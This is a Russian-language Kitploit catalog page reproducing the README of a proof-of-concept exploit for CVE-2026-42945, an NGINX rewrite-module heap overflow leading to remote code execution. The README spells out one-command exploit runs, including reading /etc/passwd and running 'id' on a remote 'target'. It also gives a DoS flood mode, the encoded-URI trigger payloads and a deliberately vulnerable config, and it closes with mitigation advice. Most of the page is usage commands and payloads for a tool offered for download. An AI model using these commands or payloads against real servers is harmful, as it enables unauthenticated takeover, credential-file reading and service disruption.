Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
nginx-cve-2026-42945-poc — Эксплойт доказательства концепции для CVE-2026-42945, критическое переполнение кучи в модуле перезаписи NGINX, позволяющее выполнение удалённого кода без аутентификации через специально сформированное кодирование URI. Включает среду тестирования на основе Docker, проверку ASAN и несколько скриптов эксплойта. | Kitploit
Инструменты/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
Безопасность контейнеровДинамический анализ (песочница)Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззингТестирование на ПроникновениеЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Эксплойт доказательства концепции для CVE-2026-42945, критическое переполнение кучи в модуле перезаписи NGINX, позволяющее выполнение удалённого кода без аутентификации через специально сформированное кодирование URI. Включает среду тестирования на основе Docker, проверку ASAN и несколько скриптов эксплойта.

GitHubforxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

Репозиторий
1204 месяцев назадЕщё не проверено
Поделиться

CVE-2026-42945 — Переполнение кучи в модуле rewrite NGINX → RCE

RCE успешно подтверждено — через переполнение кучи + инъекцию процесса GDB выполнение произвольных команд в рабочих процессах NGINX / OpenResty.

Быстрый старт

# Сборка образа NGINX + выполнение теста RCE одной командой
./run.sh nginx

# Сборка образа OpenResty + выполнение теста RCE одной командой
./run.sh openresty

# Пользовательская команда
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

Обзор уязвимости

СвойствоЗначение
ID CVECVE-2026-42945
Тип уязвимостиПереполнение кучи → удалённое выполнение кода (RCE)
Затронутый компонентngx_http_rewrite_module
Затронутые версииNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
Оценка уязвимостиCVSS 9.4 (CRITICAL)
Условия эксплуатацииБез аутентификации; для RCE требуется ptrace (root)

Первопричина

ngx_http_script_complex_value_code() выделяет буфер по декодированной длине URI, но ngx_http_script_copy_capture_code() вызывает ngx_escape_uri() и записывает по закодированной длине. Символы URL-кодирования расширяются в 3 раза → переполнение кучи.

Условия срабатывания

Должны соблюдаться три условия одновременно:

  1. Директивы rewrite и set находятся в одном location
  2. Строка замены rewrite содержит ?
  3. set ссылается на захваченную переменную $1 из rewrite
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # содержит '?'
    set $original_endpoint $1;                     # ссылка на $1
}

ASAN-подтверждённый стек вызовов

#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

Структура проекта

.
├── run.sh                          # Точка входа для сборки + теста одной командой
├── README.md
│
├── scripts/                        # Скрипты для тестирования и эксплуатации
│   ├── rce.sh                      # Чистый Shell RCE (curl + GDB, без Python)
│   ├── exploit_rce.py              # Python RCE (совместим с 2.7/3.x)
│   ├── exploit.py                  # Основной PoC-скрипт (check/exploit/rce/flood)
│   └── exploit_asan.py             # Полное сканирование с ASAN
│
├── package/                        # Файлы развёртывания и оркестрации
│   ├── Dockerfile.rce              # Сборка NGINX из исходников + среда RCE
│   ├── Dockerfile.openresty.rce    # Сборка OpenResty из исходников + среда RCE
│   ├── Dockerfile                  # Базовый образ (Alpine)
│   ├── Dockerfile.asan             # Образ для отладки с ASAN
│   ├── docker-compose.yml          # Оркестрация Docker (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # Уязвимая конфигурация NGINX
│   ├── nginx-openresty.conf        # Уязвимая конфигурация OpenResty
│   ├── start_rce.sh                # Скрипт запуска контейнера NGINX RCE
│   └── start_openresty_rce.sh      # Скрипт запуска контейнера OpenResty RCE
│
└── src/                            # Исходные коды (для сборки)
    ├── nginx-1.26.3/               # Исходный код NGINX 1.26.3
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # Исходный код OpenResty 1.25.3.1 (встроен nginx/1.25.3)

Подробное использование

Тестирование внутри контейнера Docker

# Shell-скрипт (без зависимостей Python)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python-скрипт (совместим с 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# Аналогично для OpenResty
docker exec openresty-rce bash /opt/rce.sh 'id'

Вход в контейнер с хоста

docker exec -it nginx-rce bash
# Внутри контейнера:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

Прямое тестирование удалённой цели

# Требуются root + ptrace
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

Основной PoC-скрипт (четыре режима)

python3 scripts/exploit.py --target http://localhost:8775 --mode check     # Обнаружение уязвимости
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # Верификация переполнения кучи с ASAN
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # Оценка риска RCE
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # Нагрузочное тестирование DoS

Срабатывающие Payload'ы

PayloadОписаниеРезультат
/api/%25 × NЗакодированный %✅ Переполнение кучи
/api/%3f × NЗакодированный ?✅ Переполнение кучи
/api/%23 × NЗакодированный #✅ Переполнение кучи
/api/%26 × NЗакодированный &✅ Переполнение кучи

Рекомендации по исправлению

  1. Обновить NGINX до версии 1.30.2+
  2. Временное смягчение: избегать комбинации rewrite (с ?) + set (ссылка на $1)
  3. Правила WAF: блокировать большое количество закодированных запросов %25/%3f/%23/%26
  4. Усиление привилегий: echo 1 > /proc/sys/kernel/yama/ptrace_scope

Ссылки

  • F5 Advisory K000161019
  • Исходники NGINX
Скачать инструмент